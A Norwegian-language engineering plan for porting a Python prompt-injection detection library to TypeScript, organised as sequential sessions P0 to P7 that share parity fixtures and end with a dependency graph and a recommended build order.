Ryggrad: en delt parity-fixture (fixtures/parity/*.json: input → forventede labels/severities) som BÅDE Python og TS må tilfredsstille. Uten den porter du et bevegelig mål. Den delte injection_lexicon.json splittes aldri (PLAN §13.3).

Session P0 — Parity-fixture-ryggrad + TS-scaffold

  • Mål: etabler golden-fixtures + TS-prosjektskjelett; Python-impl asserter mot fixtures.
  • Scope-grense: ingen TS-detektor-logikk ennå; kun scaffold + fixtures + Python- parity-test.
  • Avhengigheter: Session G (frossen surface) + D (kalibrering konsolidert).
  • Filer: fixtures/parity/{sanitize,lexicon,entropy,output,okf}.json; ny tests/test_parity_fixtures.py (Python-siden); node/package.json, node/tsconfig.json, node/vitest.config.ts.
  • TDD-plan: test_parity_fixtures.py kjører hvert fixture-input gjennom Python- impl og asserter forventede labels (rødt til fixtures skrives, så grønt).
  • Nøkkelantakelse (+ test): «fixtures fanger den faktiske Python-atferden.» Test: Python-parity-test grønn.
  • Verifisering: PYTHONPATH=src .venv/bin/pytest tests/test_parity_fixtures.py → grønt; cd node && npm i && npx vitest run → tomt/skjelett kjører.

Session P1 — report + severity + lexicon-loader (TS)

  • Mål: TS-typene + loader som leser SAMME injection_lexicon.json.
  • Avhengigheter: P0.
  • Filer: node/src/report.ts, node/src/lexicon-loader.ts, node/test/*.test.ts.
  • TDD: vitest: loader kompilerer alle mønstre; antall == Python load_lexicon().
  • Nøkkelantakelse (+ test): «JS-regex-motoren aksepterer alle mønstrene uten flag-oversettelsestap.» Test: hver pattern kompilerer; parity på pattern-count.
  • Verifisering: cd node && npx vitest run test/lexicon-loader.test.ts → grønt; count == PYTHONPATH=src .venv/bin/python -c "from llm_ingestion_guard.lexicon import load_lexicon; print(len(load_lexicon()))".

Session P2 — sanitize + entropy + normalize (TS)

  • Avhengigheter: P1.
  • Filer: node/src/sanitize.ts, node/src/entropy.ts, node/src/normalize.ts.
  • TDD: vitest kjører fixtures/parity/{sanitize,entropy}.json → samme labels.
  • Nøkkelantakelse (+ test): «base64/rot13/homoglyph-primitiver gir bit-lik output i JS og Python.» Test: parity-fixtures grønne begge sider.
  • Verifisering: cd node && npx vitest run (sanitize+entropy) grønt mot fixtures.

Session P3 — lexicon.scan + variant-set (TS)

  • Avhengigheter: P2.
  • Filer: node/src/lexicon.ts.
  • TDD: fixtures/parity/lexicon.json (raw/normalized/folded/rot13-varianter) → samme dedupede labels.
  • Nøkkelantakelse (+ test): «dedup-by-id og variant-rekkefølge matcher.» Test: parity-fixture med multi-variant-treff.
  • Verifisering: cd node && npx vitest run test/lexicon.test.ts grønt.

Session P4 — output + active_content + neutralize + disposition (TS)

  • Avhengigheter: P3. (Inkluderer aktivt-innhold fra Session A.)
  • Filer: node/src/output.ts, node/src/active_content.ts, node/src/neutralize.ts, node/src/disposition.ts.
  • TDD: fixtures/parity/output.json + disposition-tabell-fixtures.
  • Nøkkelantakelse (+ test): «fail-closed + carrier/CRITICAL any-tier + compound matcher Python.» Test: disposition-parity-fixtures inkl. transform_failed-caset.
  • Verifisering: cd node && npx vitest run (output+disposition) grønt mot fixtures.

Session P5 — contract-asserters + top-level bookends (TS)

  • Avhengigheter: P4.
  • Filer: node/src/contract.ts, node/src/index.ts (prepareInput/screenOutput).
  • TDD: tool-carrying request raiser; credential-leak raiser; happy path passerer.
  • Verifisering: cd node && npx vitest run test/contract.test.ts grønt.

Session P6 — OKF-adapter (TS)

  • Avhengigheter: P5.
  • Filer: node/src/okf.ts.
  • TDD: port _poisoned_bundle/_clean_bundle fra test_okf_showcase.py som fixture; samme aggregat-disposition + link-graf.
  • Nøkkelantakelse (+ test): «strict frontmatter-parser gir samme reject-set.» Test: OKF-parity-fixture (T2/T3/T4/T5a/dangling).
  • Verifisering: cd node && npx vitest run test/okf.test.ts grønt.

Session P7 — Parity-CI + Node-README + versjons-sync + tag

  • Avhengigheter: P6.
  • Filer: node/README.md, node/package.json (version synk med Python-linjen), CI-hook som kjører begge suiter mot samme fixtures.
  • Verifisering: både PYTHONPATH=src .venv/bin/pytest og cd node && npx vitest run grønne mot samme fixtures/parity/; versjonsstreng synk; tag + push til open/.

Avhengighetsgraf + anbefalt sekvens

A  ─┐
A2 ─┤          (A, A2, B, C uavhengige; kjør i den rekkefølgen som passer)
B  ─┤
C  ─┤
    ├─► D ─► E ─┐
F  ─┘           ├─► G (v1.0 FRYS) ─► P0 ─► P1 ─► P2 ─► P3 ─► P4 ─► P5 ─► P6 ─► P7
                │
   (F operatør-gated, uavhengig, må være lukket/konsedert før G)
  • A, A2, B, C kan tas i valgfri rekkefølge (uavhengige). Start med A eller A2 (begge review-MAJOR; A = unsafe admit, A2 = over-block + uskannet index.md).
  • D etter A (så aktivt-innhold-severities bor i calibration.py).
  • E etter A/B/C (honest-limits skal reflektere faktisk tilstand).
  • F når som helst før G; anbefalt spor F1 (konsesjon). Dep-tillegg (F2) er operatør-gate uansett.
  • G er frysepunktet. Node-porten (P0-P7) starter FØRST etter G, ellers porter du et bevegelig mål. P0 avhenger også av D (kalibrering konsolidert).
  • P0-P7 er sekvensielle (hver bygger på forrige), med parity-fixture som felles kontrakt.

.pdf-beslutningen sitter i F (før G). Python-frysen sitter i G (før P0).